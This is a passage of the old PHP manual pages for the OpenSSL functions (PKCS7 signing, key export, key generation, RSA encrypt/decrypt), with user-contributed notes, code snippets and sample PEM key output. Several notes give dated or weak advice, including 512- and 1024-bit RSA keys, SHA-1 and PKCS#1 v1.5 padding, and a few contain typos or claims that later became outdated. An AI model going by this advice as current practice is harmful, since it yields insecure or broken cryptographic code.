This command doesn't work correctly on WIN32 with IIS. Mails aren�t interpreted correctly by IIS SMTP Server (and by Outlook too). The reason is that UNIX and WINDOWS interpret the �enter to the next line� ascii code in a different way.

Below I present an improved code:

<?php

$data = <<<EOD

Testing 123

This is a test

Test

EOD;

//save the message to a file
$fp = fopen("msg.txt","w");
fwrite($fp,$data);
fclose($fp);

//sign the message using the sender's keys
openssl_pkcs7_sign("msg.txt", "signed.eml", "file://c:/max/cert.pem",
array("file://c:/max/priv.pem","your_password"),
array("To" => "recipient <recipients@mail.com>",
"From" => "sender <sender@mail.com>",
"Subject" => "Order Notification - Test"),PKCS7_DETACHED,"c:\max\extra_cert.pem");

$file_arry = file("signed.eml");
$file = join ("", $file_arry);
$message = preg_replace("/\r\n|\r|\n/", "\r\n", $file);

$fp = fopen("c:\Inetpub\mailroot\Pickup\signed.eml", "wb");
flock($fp, 2);
fputs($fp, $message);
flock($fp, 3);
fclose($fp);

?>

Besides, if you want to use the keys created with Windows, you should export them (from IE) to the form of PKCS#12 file (*.pfx).

Install OpenSSLWin32 from
http://www.shininglightpro.com/search.php?searchname=Win32+OpenSSL

execute: openssl.exe

enter the commands:

pkcs12 -in <pfx-file> -nokeys -out <pem-certs-file>

pkcs12 -in <pfx-file> -nocerts -nodes -out <pem-key-file>

Next export from IE Root CA certificate as Base-64 *.cer and rename the file to *.pem

And that's all!
php at toyingwithfate dot com 23-Sep-2003 11:55
It's probably worth noting that I had a great deal of difficulty getting either Mozilla 1.4 or Outlook Express 6 to verify signatures generated by openssl_pkcs7_sign() until I added a newline (\n) to the beginning of the message I was signing.  Not sure why that is, but as soon as I made that change all problems disappeared.
del at babel dot com dot au 03-May-2002 12:09
The "mycert.pem" parameters as shown in the example above are not correct.  You either have to pass a string containing the PEM encoded certificate or key, or the location of a file in file://path/to/file.pem notation.  See the comments on the OpenSSL functions page (the page above this one).
meint dot post at bigfoot dot com 05-Sep-2001 01:35
If you want to integrate PKCS7 signing/verifying with a browser and it's not a problem that it's only Internet Explorer (or Netscape + ActiveX plugin) you can look at Capicom. It's a free component and available at the MSDN website.


Verifies the signature of an S/MIME signed message

  • « openssl_pkcs7_sign
  • openssl_pkey_export_to_file »
  • PHP Manual
  • OpenSSL Functions
  • Verifies the signature of an S/MIME signed message

openssl_pkcs7_verify

(PHP 4 >= 4.0.6, PHP 5)

openssl_pkcs7_verify — Verifies the signature of an S/MIME signed message

Description

mixed openssl_pkcs7_verify ( string $filename , int $flags [, string $outfilename [, array $cainfo [, string $extracerts [, string $content ]]]] )

openssl_pkcs7_verify() reads the S/MIME message contained in the given file and examines the digital signature.

Parameters

filename

Path to the message.

flags

flags can be used to affect how the signature is verified - see PKCS7 constants for more information.

outfilename

If the outfilename is specified, it should be a string holding the name of a file into which the certificates of the persons that signed the messages will be stored in PEM format.

cainfo

If the cainfo is specified, it should hold information about the trusted CA certificates to use in the verification process - see certificate verification for more information about this parameter.

extracerts

If the extracerts is specified, it is the filename of a file containing a bunch of certificates to use as untrusted CAs.

content

You can specify a filename with content that will be filled with the verified data, but with the signature information stripped.

Return Values

Returns TRUE if the signature is verified, FALSE if it is not correct (the message has been tampered with, or the signing certificate is invalid), or -1 on error.

Changelog

Version | Description
5.1.0 | The content parameter was added.

Notes

Note: As specified in RFC 2045, lines may not be longer than 76 characters in the filename parameter.

User Contributed Notes

Krzychu 06-Dec-2013 06:34
To read signed message in base64 (not encrypted with priv&pub key):

You can just decode content by "base64_decode" or "imap_base64" functions and then erase by hand(regexp) sign from bottom of mail. Unfortunately  in my case (mail from Outlook) that  message (decoded by "base64_decode") has some additional special chars in some places (ie. before every attachment encoded base_64) what make message e-mail unable to parse.

After couple of hours I solved this:
It's needed to save single e-mail and use 2x "openssl_pkcs7_verify" function in row on original email (with headers and content in base64 ):
  1st use - extract sign (certificate) from e-mail and save to file *.cert
  2nd use - extract (with use that *.cert file) decoded message to  file*.out

Code:
  $handle  =  imap_open('mailbox.eml', '', '');

  $msg = 'home/john/tmp/email1.eml';
  imap_savebody($handle, $msg,  1);

  openssl_pkcs7_verify($msg, 0, $msg . '.cert');
  openssl_pkcs7_verify($msg, 0, $msg . '.cert', array(), $msg . '.cert', $msg.'.out');

  $email_content = file_get_contents($msg . '.out');


Gets an exportable representation of a key into a file

  • « openssl_pkcs7_verify
  • openssl_pkey_export »
  • PHP Manual
  • OpenSSL Functions
  • Gets an exportable representation of a key into a file

openssl_pkey_export_to_file

(PHP 4 >= 4.2.0, PHP 5)

openssl_pkey_export_to_file — Gets an exportable representation of a key into a file

Description

bool openssl_pkey_export_to_file ( mixed $key , string $outfilename [, string $passphrase [, array $configargs ]] )

openssl_pkey_export_to_file() saves an ascii-armoured (PEM encoded) rendition of key into the file named by outfilename.

Note: You need to have a valid openssl.cnf installed for this function to operate correctly. See the notes under the installation section for more information.

Parameters

key

outfilename

Path to the output file.

passphrase

The key can be optionally protected by a passphrase.

configargs

configargs can be used to fine-tune the export process by specifying and/or overriding options for the openssl configuration file. See openssl_csr_new() for more information about configargs.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

w3ricardo 28-Feb-2012 05:21
You can't use this function to export a public key

Warning: openssl_pkey_export_to_file(): supplied key param is a public key


Gets an exportable representation of a key into a string

  • « openssl_pkey_export_to_file
  • openssl_pkey_free »
  • PHP Manual
  • OpenSSL Functions
  • Gets an exportable representation of a key into a string

openssl_pkey_export

(PHP 4 >= 4.2.0, PHP 5)

openssl_pkey_export — Gets an exportable representation of a key into a string

Description

bool openssl_pkey_export ( mixed $key , string &$out [, string $passphrase [, array $configargs ]] )

openssl_pkey_export() exports key as a PEM encoded string and stores it into out (which is passed by reference).

Note: You need to have a valid openssl.cnf installed for this function to operate correctly. See the notes under the installation section for more information.

Parameters

key

out

passphrase

The key is optionally protected by passphrase.

configargs

configargs can be used to fine-tune the export process by specifying and/or overriding options for the openssl configuration file. See openssl_csr_new() for more information about configargs.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

eric at ericseastrand dot com 13-Apr-2012 08:49
I kept banging my head against the wall today trying to figure out why the RSA keys I was generating were encrypted (they have this stuff in them)
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,BEA1180EADE1524F

I finally realized that the issue was that I was passing a password into the "openssl_pkey_export" method inadvertently.

So the moral of the story is: you have to use NULL as the password. using an empty string will still cause the key to be encrypted.
chris dot kistner at gmail dot com 13-Jan-2011 05:51
Please take note that older versions of PHP/OpenSSL exports the RSA private key with '-----BEGIN RSA PRIVATE KEY-----' PEM tag, which includes just the privateKey field, thus omitting the version and privateKeyAlgorithm fields.

The effect of that would be that if you're converting it to DER, and then back to PEM, but using '-----BEGIN PRIVATE KEY-----' PEM tag, that the openssl_pkey_get_privatekey() function will fail!

Senthryl's code can be used to prefix the PEM encoded data with the version and privateKeyAlgorithm fields again.

The newer PHP/OpenSSL versions exports the RSA private key with '-----BEGIN PRIVATE KEY-----' PEM tag, which includes the version and privateKeyAlgorithm fields.

I noticed these differences between my two servers:
PHP Version 5.3.3 (OpenSSL 1.0.0a-fips 1 Jun 2010) on Fedora Core 12 x64
PHP Version 5.2.9 (OpenSSL 0.9.8g 19 Oct 2007) on Fedora Core 10 x64
Senthryl 25-Jan-2010 08:06
This function can be used to create a private key for use by JCE in Java.  For example, a private key could be generated by a PHP script and the result could be used in a Java client application.

Java requires the private key in DER format with some extra ASN.1 wrapping.  The function below can be used to convert the output of openssl_pkey_export into a format suitable for input into JCE:

<?php
    function derLength($length) {
        if ($length < 128) return str_pad(dechex($length), 2, '0', STR_PAD_LEFT);
        $output = dechex($length);
        if (strlen($output) % 2 != 0) $output = '0'.$output;
        return dechex(128 + strlen($output)/2) . $output;
    }
    function convertPemToDer($pem) {
        $matches = array();
        if (!preg_match('~^-----BEGIN ([A-Z ]+)-----\s*?([A-Za-z0-9+=/\r\n]+)\s*?-----END \1-----\s*$~D', $pem, $matches)) {
            die('Invalid PEM format encountered.'."\n");
        }
        $derData = base64_decode(str_replace(array("\r", "\n"), array('', ''), $matches[2]));
        $derData = pack('H*', '020100300d06092a864886f70d010101050004'.derLength(strlen($derData))) . $derData;
                $derData = pack('H*', '30'.derLength(strlen($derData))) . $derData;
                return $derData;
    }
?>

Example use:
<?php
    $keys = openssl_pkey_new(array('digest_alg' => 'sha1', 'private_key_type' => OPENSSL_KEYTYPE_RSA, 'private_key_bits' => 2048));
    if ($keys === false) die('Failed to generate key pair.'."\n");
    if (!openssl_pkey_export($keys, $privateKey)) die('Failed to retrieve private key.'."\n");
    $javaKey = convertPemToDer($privateKey);

    file_put_contents('key_for_java.der', $javaKey);
?>

Exporting a public key for use with JCE is trickier, since the Java libraries require the key to be input as a byte array.  In effect, the public key outputted by openssl_pkey_get_details() must be base64 decoded as above, and then parsed as ASN.1 to receive the actual key bytes (this can be done either on the PHP side or the Java side).

The following link is an invaluable resource to understanding the output from these functions:
"A Layman's Guide to a Subset of ASN.1, BER, and DER"
http://luca.ntop.org/Teaching/Appunti/asn1.html
Tk at phpRocks dot net 03-May-2009 04:58
Complete example to encrypt data...
=)
<pre>
<?php
// Create the keypair
$res=openssl_pkey_new();

// Get private key
openssl_pkey_export($res, $privkey, "PassPhrase number 1" );

// Get public key
$pubkey=openssl_pkey_get_details($res);
$pubkey=$pubkey["key"];
//var_dump($privkey);
//var_dump($pubkey);

// Create the keypair
$res2=openssl_pkey_new();

// Get private key
openssl_pkey_export($res2, $privkey2, "This is a passPhrase *µà" );

// Get public key
$pubkey2=openssl_pkey_get_details($res2);
$pubkey2=$pubkey2["key"];
var_dump($privkey2);
var_dump($pubkey2);

$data = "Only I know the purple fox. Trala la !";

openssl_seal($data, $sealed, $ekeys, array($pubkey, $pubkey2));

var_dump("sealed");
var_dump(base64_encode($sealed));
var_dump(base64_encode($ekeys[0]));
var_dump(base64_encode($ekeys[1]));

// decrypt the data and store it in $open
if (openssl_open($sealed, $open, $ekeys[1], openssl_pkey_get_private  ($privkey2  ,"This is a passPhrase *µà" ) ) ) {
    echo "here is the opened data: ", $open;
} else {
    echo "failed to open data";
}

?>
</pre>

Outputs :
string(963) "-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,DA1943487C9C83B2

1/j65PJgfYqYMJSWRBk9UzXaa3USMdpkq4ztzL7IPMTPgTwVKxZbvBxzsGUXUmh6
dkWpF1jzi3B44o06mw55t2LHNkGAph/iKVP4Zvnyp/KWaZJSF+pNkvukle1u2/40
WpbNy1f8LA+ZDr7ICOCY1jy/bz/xzOCrVjqY/F4ukQik9M6bL9ZwI5fyhrcHq6EG
KsUX49XKtP/a+kQhluejzIw1aDBqmHpJTCzkL7teCk6l8x8r8mMmss1D9XqggjFm
TQncqR6IU5DClklO53JdWSFC5zTcFYMgq9lMwCQ5o4bs8iBKiE+TOFEKiggtn5zA
v189tlPtM6YePcXAm5Ymgy90Ovq3lGS4k+JkCB2Hm3HgUAB3pd9v3fOeyuFMeing
XHBuLR5nmWITzcfRuAsh0p9xe2puTVFdrLkrQFnh5Xkerm+YUQ6oTecTKRFq7S3l
hLlFIg7KbXxDjg3H5f87DCEp/isV70Rc7flvIBP6u5GX+GrmCFWjQxmGefEJQ5fZ
P7sOzHEdkOHZV7yYn+5MwQ4vDHLKQxvMqUolgvuEAzcL1o976KHAQP0accmwApXz
jry3zVqRnGvyPHo+nGwRiATJj0lAgX/j8cghJg+oo+TiXD2cM5i+Hut4dmImZNDL
3Fn2uLzklQHPlaoaz2dACyaN/sUtmVLtdnn00nuwIy2xDfHDl9MOQ6WHocU78DWo
Mw+x8B+SBsALm3Ah6JzqA8l3OAYSRxjp7YQXLQLkdCi7jEjjTl/0NVTnqU+W89XB
GBH3r8ZgIpifl3M7ZYTKLnToNL7Y/AehPs+tKgFHkXtGMKu4cIt9Ag==
-----END RSA PRIVATE KEY-----
"
string(272) "-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDH82E/Dn37torKz/vhAkpji9ZS
HCyfM7JuXCbh70F75Zh2/rEVvz38yNf6f01DNXiSpzO5eTmoXD7Blsb635AOjYbl
X/WljpFbwQ2QUUDlNDAslrqXYlMzht2MCq/pjtGgk0zJx6i+HjFyV7mebeePQY/x
NOzMpmy/Ke3u+SSHRwIDAQAB
-----END PUBLIC KEY-----
"
string(6) "sealed"
string(52) "y4L3+SDVJwTfa9Em61R3X2p/LElr8N/xPCXw8kqm0co4bn3V1Tw="
string(172) "ezUo2rWLGHPv9bHE5gG8fe5qy8erGlITsSs+qGr2o8aoi98SLnyIFm4N
EQWJrmU43Ehlw72NujJ
B8chYNw2NkIDfaLChvLH54CBuCfyuF+1lWEAUwL8
FU1LftqIIt1ikjSu/8qFU6S6wikJx1pFf1IbXfOeeJVvZ1UJM2rBbudI="
string(172) "RPYLXGBXDnXDIUrFy1/GOM+//Ew/mn2syKDbhIegOJJPnpd
X6ffwXkWH5Bp8kOdz0aO9gK3whG+c
/QF+9eqcTw9SvvlrDqsP0gkRGNIOgMUiBFLoMT92JQWSI7ZesDAU0
JPRWpXsKaIOEkBGmxOMYfEd6OJWp0Mwe4COL3lP2PQ="
here is the opened data: Only I know the purple fox. Trala la !
07-May-2007 09:31
you can get public key using openssl_pkey_get_details(resource $key ) function:

<?php

$pub_key = openssl_pkey_get_public(file_get_contents('./cert.crt'));
$keyData = openssl_pkey_get_details($pub_key);
fule_put_contents('./key.pub', $keyData['key']);

?>
robbat2 at gentoo dot org 09-Aug-2004 08:47
Warning, this function is NOT capable of exporting PEM-encoded public keys. It can only export private keys.


Frees a private key

  • « openssl_pkey_export
  • openssl_pkey_get_details »
  • PHP Manual
  • OpenSSL Functions
  • Frees a private key

openssl_pkey_free

(PHP 4 >= 4.2.0, PHP 5)

openssl_pkey_free — Frees a private key

Description

void openssl_pkey_free ( resource $key )

This function frees a private key created by openssl_pkey_new().

Parameters

key

Resource holding the key.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Returns an array with the key details

  • « openssl_pkey_free
  • openssl_pkey_get_private »
  • PHP Manual
  • OpenSSL Functions
  • Returns an array with the key details

openssl_pkey_get_details

(PHP 5 >= 5.2.0)

openssl_pkey_get_details — Returns an array with the key details

Description

array openssl_pkey_get_details ( resource $key )

This function returns the key details (bits, key, type).

Parameters

key

Resource holding the key.

Return Values

Returns an array with the key details in success or FALSE in failure. Returned array has indexes bits (number of bits), key (string representation of the public key) and type (type of the key which is one of OPENSSL_KEYTYPE_RSA, OPENSSL_KEYTYPE_DSA, OPENSSL_KEYTYPE_DH, OPENSSL_KEYTYPE_EC or -1 meaning unknown).

Depending on the key type used, additional details may be returned. Note that some elements may not always be available.

  • OPENSSL_KEYTYPE_RSA, an additional array key named "rsa", containing the key data is returned.
    Key Description
    "n"
    "e"
    "d"
    "p"
    "q"
    "dmp1"
    "dmq1"
    "iqmp"
  • OPENSSL_KEYTYPE_DSA, an additional array key named "dsa", containing the key data is returned.
    Key Description
    "p"
    "q"
    "g"
    "priv_key"
    "pub_key"
  • OPENSSL_KEYTYPE_DH, an additional array key named "dh", containing the key data is returned.
    Key Description
    "p"
    "g"
    "priv_key"
    "pub_key"

User Contributed Notes

langemeijer at php dot net 07-Oct-2012 10:01
These are the missing descriptions for RSA elements:

n - modulus
e - publicExponent
d - privateExponent
p - prime1
q - prime2
dmp1 - exponent1, d mod (p-1)
dmq1 - exponent2, d mod (q-1)
iqmp - coefficient, (inverse of q) mod p


Get a private key

  • « openssl_pkey_get_details
  • openssl_pkey_get_public »
  • PHP Manual
  • OpenSSL Functions
  • Get a private key

openssl_pkey_get_private

(PHP 4 >= 4.2.0, PHP 5)

openssl_pkey_get_private — Get a private key

Description

resource openssl_pkey_get_private ( mixed $key [, string $passphrase = "" ] )

openssl_get_privatekey() parses key and prepares it for use by other functions.

Parameters

key

key can be one of the following:

  1. a string having the format file://path/to/file.pem. The named file must contain a PEM encoded certificate/private key (it may contain both).
  2. A PEM formatted private key.

passphrase

The optional parameter passphrase must be used if the specified key is encrypted (protected by a passphrase).

Return Values

Returns a positive key resource identifier on success, or FALSE on error.

User Contributed Notes

kristof1 at mailbox dot hu 11-May-2014 12:34
It's actually "file://key.pem" when you want to give a relative path using unix systems. It will be three '/' in case of absolute path (e.g "file:///home/username/..."). But this path consists of two '/' originated from "file://" and one '/' from the fact that home is a subfolder of the unix filesystem's root directory ("/home/username/..."). This two part will be concatenated and you will get three '/' characters following each other.

So you only have to concatenate "file://" with an existing path string in every case.
joelhy 28-Feb-2011 08:46
Please note that "file://path/to/file.pem" in documentation means file protocol + file path. In UNIX like OS, that is something like file:///rsa_private_key.pem. There is THREE slashes in the path string, not TWO.


Extract public key from certificate and prepare it for use

  • « openssl_pkey_get_private
  • openssl_pkey_new »
  • PHP Manual
  • OpenSSL Functions
  • Extract public key from certificate and prepare it for use

openssl_pkey_get_public

(PHP 4 >= 4.2.0, PHP 5)

openssl_pkey_get_public — Extract public key from certificate and prepare it for use

Description

resource openssl_pkey_get_public ( mixed $certificate )

openssl_get_publickey() extracts the public key from certificate and prepares it for use by other functions.

Parameters

certificate

certificate can be one of the following:

  1. an X.509 certificate resource
  2. a string having the format file://path/to/file.pem. The named file must contain a PEM encoded certificate/public key (it may contain both).
  3. A PEM formatted public key.

Return Values

Returns a positive key resource identifier on success, or FALSE on error.

User Contributed Notes

Rurri 26-Feb-2012 04:35
If you have a 4096 bit key pair and are trying to use a public key that begins with:

-----BEGIN RSA PUBLIC KEY-----

and you need to convert it for this function to use, you can convert it by prepending the static header information:

MIICIjANBgkqhkiG9w0BAQEFAAOCAg8A

Such as:

$start_key = str_replace('-----BEGIN RSA PUBLIC KEY-----', '', $start_key);
$start_key = trim(str_replace('-----END RSA PUBLIC KEY-----', '', $start_key));
$key = 'MIICIjANBgkqhkiG9w0BAQEFAAOCAg8A' . str_replace("\n", '', $start_key);
$key = "-----BEGIN PUBLIC KEY-----\n" . wordwrap($key, 64, "\n", true) . "\n-----END PUBLIC KEY-----";
ppostma1 15-Jun-2011 05:32
found the cert/public key for 2048 bits is this format:

-----BEGIN PUBLIC KEY-----
X509 signature + PEM sig + modulus + 'ID' + exponent
-----END PUBLIC KEY-----

so the variables are:
-----BEGIN PUBLIC KEY-----
'MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A' . 'MIIBCgKCAQEA' . $modulus . 'ID' . $exponent
-----END PUBLIC KEY-----

<?php wordwrap($cert, 64, "\r\n", true); ?>
info at steyla dot com 21-Dec-2010 08:55
If you are trying to read a PKCS#1 RSA public key you run into trouble, because openssl wants the public key in X.509 style.

The PKCS#1 RSA public key

-----BEGIN RSA PUBLIC KEY-----
MIIBCgKCAQEAgYxTW5Yj+5QiQtlPMnS9kqQ/HVp+T2KtmvShe68cm8luR7Dampmb
[...]
cbn6n2FsV91BlEnrAKq65PGJxcwcH5+aJwIDAQAB
-----END RSA PUBLIC KEY-----

.. is  not readable while the X.509 style public key

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAgYxTW5Yj+5QiQtlPMnS9
[..]
JwIDAQAB
-----END PUBLIC KEY-----

is. You can use an easy (and dirty) work around to read the PKCS#1 RSA anyway. The first few bytes of the X.509 style public key contain header information and can shamelessly be copied.

In other words: Delete everything after the first 32 bytes from the above X.509 key (starting behind Q8A) and attach your PKCS#1 data, reformat to 64 bytes length and use it with openssl.

Please note: The above example only works for 2048 bit length.

Like I said - it's kind of dirty - but hey - if you're as desperate as I was.

Michaela
Paul Clark 15-Feb-2010 04:50
Note this will read public keys from PEM formatted public keys as well:

<?php
$key = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDXX/MsKEBLcLeKA1d/i7ufG1qs
qS97xFkIRSeX3TwmHic843AfVrzoh2pZUeOvK9ZLZQpHSM7DoHMYDGD1273+FvZX
Ypf5LiFtecfxko/Cku16zy6WAeCYVFjjlveBhwPmPCIk+qDRYeiIW05QE2XK+CuD
nJ7sxxXIJSSgD3Jo5wIDAQAB
-----END PUBLIC KEY-----
EOF;

print $key;
$res = openssl_pkey_get_public($key);
print_r(openssl_pkey_get_details($res));
?>

Note that contrary to the documentation, openssl_pkey_get_details() will *not* read PEM directly, and you have to go through this step.
thelen dot shar at gmail dot com 25-Jan-2009 09:08
Found it difficult to get my head around this due to lack of documentation.

But the process I followed for all this was:
Generate private key:
openssl genrsa -des3 -out private.pem 1024

Generate public key:
openssl rsa -in private.pem -out public.pem -outform PEM -pubout

Then in PHP:
$passphrase = 'somestring';
$key_private = openssl_get_privatekey(file_get_contents('private.pem'), $passphrase);
$key_public = openssl_get_publickey(file_get_contents('public.pem'));

Probably not the best way of doing it, but a lot simpler than the other examples on the site. I was having trouble getting the pubkey, it wasn't exactly specified very well, and I had made a mistake in generating it so it wasn't working for that reason as well.
VaD 06-Jun-2008 07:36
Small error in this code:

$pub_key = openssl_pkey_get_public(file_get_contents('./cert.crt'));
$keyData = openssl_pkey_get_details($pub_key);
file_put_contents('./key.pub', $keyData['key']);
07-May-2007 09:40
you can get (and save to file) public key using openssl_pkey_get_details(resource $key ) function:

<?php
$pub_key = openssl_pkey_get_public(file_get_contents('./cert.crt'));
$keyData = openssl_pkey_get_details($pub_key);
fule_put_contents('./key.pub', $keyData['key']);
?>
dankybastard at hotmail 09-Feb-2005 05:52
You must also use the string representation of the certificate to get the public key resource:

$dn = array();  // use defaults
$res_privkey = openssl_pkey_new();
$res_csr = openssl_csr_new($dn, $res_privkey);
$res_cert = openssl_csr_sign($res_csr, null, $res_privkey, $ndays);

openssl_x509_export($res_cert, $str_cert);

$res_pubkey = openssl_pkey_get_public($str_cert);
09-Aug-2004 08:44
This documentation notes it can take a PEM-formatted private key, but as per bug #25614, this is not possible in any form. The function simply returns a FALSE.

The only thing you can get public keys out of are X.509 certificates.

Furthermore, there is NO way to export a public key into a PEM-encoded form.


Generates a new private key

  • « openssl_pkey_get_public
  • openssl_private_decrypt »
  • PHP Manual
  • OpenSSL Functions
  • Generates a new private key

openssl_pkey_new

(PHP 4 >= 4.2.0, PHP 5)

openssl_pkey_new — Generates a new private key

Description

resource openssl_pkey_new ([ array $configargs ] )

openssl_pkey_new() generates a new private and public key pair. The public component of the key can be obtained using openssl_pkey_get_public().

Note: You need to have a valid openssl.cnf installed for this function to operate correctly. See the notes under the installation section for more information.

Parameters

configargs

You can finetune the key generation (such as specifying the number of bits) using configargs. See openssl_csr_new() for more information about configargs.

Return Values

Returns a resource identifier for the pkey on success, or FALSE on error.

User Contributed Notes

dirt at awoms dot com 27-Mar-2013 05:52
Working example:

$config = array(
    "digest_alg" => "sha512",
    "private_key_bits" => 4096,
    "private_key_type" => OPENSSL_KEYTYPE_RSA,
);

// Create the private and public key
$res = openssl_pkey_new($config);

// Extract the private key from $res to $privKey
openssl_pkey_export($res, $privKey);

// Extract the public key from $res to $pubKey
$pubKey = openssl_pkey_get_details($res);
$pubKey = $pubKey["key"];

$data = 'plaintext data goes here';

// Encrypt the data to $encrypted using the public key
openssl_public_encrypt($data, $encrypted, $pubKey);

// Decrypt the data using the private key and store the results in $decrypted
openssl_private_decrypt($encrypted, $decrypted, $privKey);

echo $decrypted;
zelnaga at gmail dot com 08-Jun-2012 02:21
Getting the public key corresponding to a particular private key, through the methods provided for by OpenSSL, is a bit cumbersome. An easier way to do it is to use phpseclib, a pure PHP RSA implementation:

<?php
include('Crypt/RSA.php');

$rsa = new Crypt_RSA();
$rsa->loadKey('...');

$privatekey = $rsa->getPrivateKey();
$publickey = $rsa->getPublicKey();
?>

Doesn't require any extensions be installed.  It'll use bcmath or gmp if they're available, for speed, but doesn't even require those.
jthijssen at notloxic dot nl 11-Feb-2011 03:17
If you want to change the default private key size (1024) too something else you can use the following code:

<?php
$config = array('private_key_bits' => 512);
$privKey = openssl_pkey_new($config);

?>

Mind though that the minimum number of bits is 384. Any lower will trigger an error.
Brad 02-Apr-2008 09:17
It's easier than all that, if you just want the keys:

<?php
// Create the keypair
$res=openssl_pkey_new();

// Get private key
openssl_pkey_export($res, $privkey);

// Get public key
$pubkey=openssl_pkey_get_details($res);
$pubkey=$pubkey["key"];
?>
NOSPAM dot alchaemist at hiperlinux dot com dot ar 30-May-2004 09:17
As you probably found, getting the public key is not as direct as you might think with this documentation.

You can easily get into messages like:

Warning: openssl_pkey_get_public(): Don't know how to get public key from this private key (the documentation lied) in D:\www\keys.php on line 4

The correct steps to get the whole thing seem to be these:

<?
$dn = array("countryName" => 'XX', "stateOrProvinceName" => 'State', "localityName" => 'SomewhereCity', "organizationName" => 'MySelf', "organizationalUnitName" => 'Whatever', "commonName" => 'mySelf', "emailAddress" => 'user@domain.com');
$privkeypass = '1234';
$numberofdays = 365;

$privkey = openssl_pkey_new();
$csr = openssl_csr_new($dn, $privkey);
$sscert = openssl_csr_sign($csr, null, $privkey, $numberofdays);
openssl_x509_export($sscert, $publickey);
openssl_pkey_export($privkey, $privatekey, $privkeypass);
openssl_csr_export($csr, $csrStr);

echo $privatekey; // Will hold the exported PriKey
echo $publickey;  // Will hold the exported PubKey
echo $csrStr;     // Will hold the exported Certificate
?>

Now all you need to do is to make some research on each individual function.


Decrypts data with private key

  • « openssl_pkey_new
  • openssl_private_encrypt »
  • PHP Manual
  • OpenSSL Functions
  • Decrypts data with private key

openssl_private_decrypt

(PHP 4 >= 4.0.6, PHP 5)

openssl_private_decrypt — Decrypts data with private key

Description

bool openssl_private_decrypt ( string $data , string &$decrypted , mixed $key [, int $padding = OPENSSL_PKCS1_PADDING ] )

openssl_private_decrypt() decrypts data that was previous encrypted via openssl_public_encrypt() and stores the result into decrypted.

You can use this function e.g. to decrypt data which were supposed only to you.

Parameters

data

decrypted

key

key must be the private key corresponding that was used to encrypt the data.

padding

padding can be one of OPENSSL_PKCS1_PADDING, OPENSSL_SSLV23_PADDING, OPENSSL_PKCS1_OAEP_PADDING, OPENSSL_NO_PADDING.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • openssl_public_encrypt() - Encrypts data with public key
  • openssl_public_decrypt() - Decrypts data with public key

User Contributed Notes

wfredkNOSPAM at L5DevelopmentNOSPAM dot com 09-Mar-2002 12:58
Encrypt using public key, decrypt using private key.

Use this to store stuff in your database: Unless someone
has your private key, the database contents are useless.

Also, use this for sending to a specific individual:  Get
their public key, encrypt the message, only they can use
their private key to decode it.

<?php
echo "Source: $source";
$fp=fopen("/path/to/certificate.crt","r");
$pub_key=fread($fp,8192);
fclose($fp);
openssl_get_publickey($pub_key);
/*
 * NOTE:  Here you use the $pub_key value (converted, I guess)
 */
openssl_public_encrypt($source,$crypttext,$pub_key);
echo "String crypted: $crypttext";

$fp=fopen("/path/to/private.key","r");
$priv_key=fread($fp,8192);
fclose($fp);
// $passphrase is required if your key is encoded (suggested)
$res = openssl_get_privatekey($priv_key,$passphrase);
/*
 * NOTE:  Here you use the returned resource value
 */
openssl_private_decrypt($crypttext,$newsource,$res);
echo "String decrypt : $newsource";
?>


Encrypts data with private key

  • « openssl_private_decrypt
  • openssl_public_decrypt »
  • PHP Manual
  • OpenSSL Functions
  • Encrypts data with private key

openssl_private_encrypt

(PHP 4 >= 4.0.6, PHP 5)

openssl_private_encrypt — Encrypts data with private key

Description

bool openssl_private_encrypt ( string $data , string &$crypted , mixed $key [, int $padding = OPENSSL_PKCS1_PADDING ] )

openssl_private_encrypt() encrypts data with private key and stores the result into crypted. Encrypted data can be decrypted via openssl_public_decrypt().

This function can be used e.g. to sign data (or its hash) to prove that it is not written by someone else.

Parameters

data

crypted

key

padding

padding can be one of OPENSSL_PKCS1_PADDING, OPENSSL_NO_PADDING.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • openssl_public_encrypt() - Encrypts data with public key
  • openssl_public_decrypt() - Decrypts data with public key

User Contributed Notes

adityasingh at techknowtrends dot com 03-Apr-2012 06:18
Here is a over simplified version of using the crypt capabilities for getting started:

$res = openssl_pkey_new();

// Get private key
openssl_pkey_export($res, $privkey);

// Get public key
$pubkey = openssl_pkey_get_details($res);
$pubkey = $pubkey["key"];
var_dump($privkey);
var_dump($pubkey);

// get some text from command line to work with
$tocrypt = trim(fgets(STDIN));

// some variables to work with
$encryptedviaprivatekey = ""; //holds text encrypted with the private key
$decryptedviapublickey = ""; // holds text which was decrypted by the public key after being encrypted with the private key, should be same as $tocrypt
$encryptedviapublickey = ""; // holds text that was encrypted with the public key
$decryptedviaprivatekey = ""; // holds text that was decrypted with the private key after being encrypted with the public key, should be the same as $tocrypt

openssl_private_encrypt($tocrypt, $encryptedviaprivatekey, $privkey);
echo $tocrypt . "->" . $encryptedviaprivatekey;
echo "\n\n";
openssl_public_decrypt($encryptedviaprivatekey, $decryptedviapublickey, $pubkey);
echo $encryptedviaprivatekey . "->" . $decryptedviapublickey;
echo "\n\n";

openssl_public_encrypt($tocrypt,$encryptedviapublickey, $pubkey);
echo $tocrypt . "->" . $encryptedviapublickey;
echo "\n\n";
openssl_private_decrypt($encryptedviapublickey, $decryptedviaprivatekey, $privkey);
echo $encryptedviapublickey . "->" . $decryptedviaprivatekey;

Output:

string(887) "-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQCy745x8AqGKlTWBu2Ub80boPaQxo/midZ4LHZ0zbPpiCAfkADN
VYSe8OckPKutdjPX7SNAx66PgQRH1xrz1gysbRrf8K/mA0LQ00MKBFaFottWt5cC
IaUS9zvCgPw7prwng3hkGShnvTSMXiKFyt1E3RTvpXRk0u46D6hKiy+TSQIDAQAB
